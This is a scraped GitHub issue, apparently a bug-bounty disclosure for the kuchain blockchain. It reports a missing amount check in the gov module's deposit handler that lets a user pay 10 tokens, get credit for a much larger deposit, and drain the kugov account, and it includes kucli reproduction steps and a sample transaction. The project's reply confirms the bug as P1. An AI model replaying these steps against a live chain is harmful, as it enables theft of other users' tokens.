You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
sign and broadcast msg by 'kuchain' kucli tx sign tx.json --from=kuchain --chain-id=testing > broadcast.json kucli tx broadcast broadcast.json
Expected Behavior
should failed, because the KuMsg's amount is not equal to KuMsg's deposit amount.
Screenshots
user kuchain just spent 10kuchain/sys for depositing 1000000kuchain/sys in proposal 1. and when proposal pass, 1000000kuchain/sys will refund to user kuchain.
In short, when find account kugov have some tokens, kucli query asset coins kugov
it can be stolen by malicious user.
Desktop
OS: [macOS Mojave 10.14.6]
**Additional Context **
delegate tokens work flow: normal account transfer to account kustaking by function Transfer, and then account kustaking transfer to module account kubondedpool or kunotbondedpool by function DelegateCoinsFromAccountToModule.
deposit tokens work flow: normal account transfer to account kugov by function Transfer, and then account kugov transfer to module account kugov by function ModuleCoinsToPower.
delegate tokens won't reproduce the behavior above, cause it called function RequireTransfer, but handleMsgDeposit not
Thanks for your submission.
We have tested the issue you mentioned and did reproduce it.
This is a valid vulnerability. After evaluation, this vulnerability has been graded as P1.
Please pay attention to the announcement and your email to get your rewards.
Thanks for your attention and contribution. Please keep trying and help us improve our chain.
Describe The Bug
there is missing sanity check of amount between KuMsg and msgData in gov module.
malicious users will steal token from
kugov
account.**Code Snippets **
Input/Output
{"type":"kuchain/Tx","value":{"msg":[{"type":"kuchain/kuMsgDeposit","value":{"KuMsg":{"auth":["kuchain17kwf5rhy9s7s8mjr5aq8u5drhy0an34yrwx3ve"],"from":"kuchain","to":"kugov","amount":[{"denom":"kuchain/sys","amount":"10"}],"router":"kugov","action":"deposit","data":"MZusx9EIARITChEBAQctUMgEk4AAAAAAAAAAABoUCgtrdWNoYWluL3N5cxIFMTAwMDA="}}}],"fee":{"amount":[{"denom":"kuchain/sys","amount":"2000"}],"gas":"200000","payer":"kuchain"},"signatures":null,"memo":""}}
To Reproduce
Steps to reproduce the behavior:
test
kucli tx asset transfer test kugov 10000000000kuchain/sys --from test --chain-id=testing
kucli query asset coins kugov
kucli tx kugov submit-proposal kuchain --title="Test Proposal" --description="My awesome proposal" --type="Text" --deposit="100000kuchain/sys" --from kuchain --chain-id=testing
kucli tx kugov deposit kuchain 1 1000000kuchain/sys --from=kuchain17kwf5rhy9s7s8mjr5aq8u5drhy0an34yrwx3ve --chain-id=testing --generate-only=true > tx.json
amount
(e.g 10) in tx.jsonkucli tx sign tx.json --from=kuchain --chain-id=testing > broadcast.json
kucli tx broadcast broadcast.json
Expected Behavior
should failed, because the KuMsg's amount is not equal to KuMsg's deposit amount.
Screenshots
user
kuchain
just spent 10kuchain/sys for depositing 1000000kuchain/sys in proposal 1. and when proposal pass, 1000000kuchain/sys will refund to userkuchain
.In short, when find account
kugov
have some tokens,kucli query asset coins kugov
it can be stolen by malicious user.
Desktop
**Additional Context **
kustaking
by functionTransfer
, and then accountkustaking
transfer to module accountkubondedpool
orkunotbondedpool
by functionDelegateCoinsFromAccountToModule
.kugov
by functionTransfer
, and then accountkugov
transfer to module accountkugov
by functionModuleCoinsToPower
.RequireTransfer
, but handleMsgDeposit notkugov
has token: someone send token directly tokugov
,Intentionally or unintentionally.As long as you find that account
kugov
has token, you can get it at a relatively small costContact Information
Email - zhouhaw@gmail.com
The text was updated successfully, but these errors were encountered: